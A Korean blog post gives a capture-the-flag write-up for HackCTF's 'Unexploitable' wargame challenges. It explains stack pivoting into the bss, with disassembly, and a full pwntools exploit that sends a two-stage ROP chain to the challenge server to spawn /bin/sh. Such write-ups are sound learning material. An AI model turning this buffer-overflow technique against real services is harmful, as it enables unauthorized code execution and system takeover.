-
[Pwnable] Unexploitable #1, #2Wargame/HackCTF 2020. 1. 27. 14:51
들어가며
이 문제는
rbp
레지스터를 이용한stack pivoting
에 대해서 잘 배울 수 있는 문제였다.lea
명령어에 대한 개념도 이번 기회에 확실하게 잡을 수 있어서 좋았다!다른 풀이도 되게 참신해서 여러 방면으로 좋은 문제인거 같다.
두 문제다 동일한 방법으로 풀 수 있기에 같이 포스팅을 하였다.
문제해석
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# ./Unexploitable_1 Easy RTL ha? You even have system@plt! root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# gdb -q Unexploitable_1 Reading symbols from Unexploitable_1...(no debugging symbols found)...done. gdb-peda$ pd main Dump of assembler code for function main: ... 0x000000000040074d <+113>: mov rdx,QWORD PTR [rip+0x20091c] # 0x601070 <stdin@@GLIBC_2.2.5> 0x0000000000400754 <+120>: lea rax,[rbp-0x10] 0x0000000000400758 <+124>: mov esi,0x40 0x000000000040075d <+129>: mov rdi,rax 0x0000000000400760 <+132>: call 0x400580 <fgets@plt> ...
system@plt가 있는 쉬운 RTL문제라 하고 stack에
0x40(64)
를 입력받은 후 그냥 종료하는 프로그램이다.system@plt가 어디 있는지 찾아보았다.
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# objdump -M intel -d ./Unexploitable_1 ... 00000000004006c6 <gift>: 4006c6: 55 push rbp 4006c7: 48 89 e5 mov rbp,rsp 4006ca: bf f8 07 40 00 mov edi,0x4007f8 4006cf: b8 00 00 00 00 mov eax,0x0 4006d4: e8 87 fe ff ff call 400560 <system@plt> 4006d9: 90 nop 4006da: 5d pop rbp 4006db: c3 ret ... gdb-peda$ x/s 0x4007f8 0x4007f8: "use this system gadget :D"
<gift>
라는 함수가 숨겨져 있었으며, 그 안에edi
로 문자열을 넣어 놓았다.그렇다면,
pop rdi
를 통해서 문자열을"/bin/sh"
로 바꿔준 후0x4006cf
로rip
를 두면,shell
이 실행될 것이다.하지만, 기존의
rop
를 통한 exploit을 진행 하기에는입력받는 수가 제한
되어 있기 때문에 힘들다.그래서
stack pivoting
방법을 써보았다.풀이
stack pivoting
은 스택 흐름을pop rbp
를 통하여 바꿔주는 것이다.그리고, stack은
ASLR
보호기법 때문에 값이 계속해서 변하는데,bss
영역은 그렇지 않다.이때문에
pop rdi
시에 정확한 인자 값 주소를 넘겨줄 수 있다.문제에서 read 함수의 인자로 값을 넘겨주기 위해서
lea rax, [rbp-0x10]
이라는 명령어가 있다.이 명령은 stack을 참조하므로, stack의 흐름을
bss
로 바꿔준다면 내가 원하는 주소를rax
에 저장할 수 있다.첫번째 Chain을 짜보자.
payload = '' payload += "A"*24 payload += p64(pop_rbp) payload += p64(main_stage+0x10) payload += p64(main)
bss
영역을rbp
로 만들어 주고 main으로 return한다. 이때 main은 시작지점이 아닌,lea 명령어가 있는 부분
이다.lea rax, [rbp-0x10]
가 원하는 값으로 이루어지기 위해서main_stage+0x10
으로 하였다.이렇게 되면, 2번째 Chain에서 read함수가 끝나고
leave_ret
과정에서rbp
는main_stage+0x10
을,rsp
는main_stage+0x18
을 가르키게 될 것이다.이에 맞는 2번째 Chain을 짜보자.
payload = '' payload += binsh payload += "B"*16 payload += p64(pop_rdi) payload += p64(main_stage) payload += p64(system)
이 payload는
bss
영역에 들어갈 것이다. 즉,read(0, bss, 0x40)
를 행하는 것이다.bss
영역 시작점 주소에는binsh
가 들어가있고,leave_ret
이 수행되면,rsp
는pop_rdi
부분의 주소를 가르키고 있을 것이다.그렇게 되면,
rdi
에binsh
의 주소가 들어가고, 마지막으로system
함수가 실행된다.전체적인 payload는 다음과 같다.
exploit.py
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] r = remote('ctf.j0n9hyun.xyz', 3023) #r = process('./Unexploitable_1') e = ELF('./Unexploitable_1') #gdb.attach(r) pop_rbp = 0x00400630 pop_rdi = 0x004007d3 bss = 0x0000000000601060 main_stage = bss + 0x600 main = 0x000000000040074d system = 0x00000000004006cf binsh = '/bin/sh\x00' # Chain 1 : move rbp to bss payload = '' payload += "A"*24 payload += p64(pop_rbp) payload += p64(main_stage+0x10) payload += p64(main) r.sendlineafter('\n', payload) # Chain 2 : read(0, bss, 0x40) payload = '' payload += binsh payload += "B"*16 payload += p64(pop_rdi) payload += p64(main_stage) payload += p64(system) r.sendline(payload) r.interactive()
2020.01.27 추가
이 문제가 local에서는 SIGSEGV가 발생하는 것을 볼 수 있다.
<_dl_runtime_resolve_xsavec+8> 부분에서 코드를 수행하고 +15부분으로 넘어갈때 발생하게 되는데, 분석해보면 다음과 같다.
sub부분에서 rsp가 0x600f40이 된다.
그리고 [rsp]에 rax를 복사하는 과정에서 발생함을 알 수 있다.
binary에서 주어진 writeable한 영역은 0x601000~0x602000 이다. 하지만, rsp가 쓰려고 시도한 영역은 0x600f40으로, 영역을 벗어난다.
그러므로 SIGSEGV가 발생한다.
따라서, exploit code를 작성할 때, main_stage는 bss영역에서 적어도 0xa00보다 크게 잡아줘야 한다.
main_stage = bss + 0xd00
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] pzshell (0) 2020.01.31 [Pwnable] j0n9hyun's secret (0) 2020.01.31 [Pwnable] World Best Encryption Tool (0) 2020.01.16 [Misc] 탈옥 (0) 2020.01.16 [Pwnable] Register (0) 2020.01.16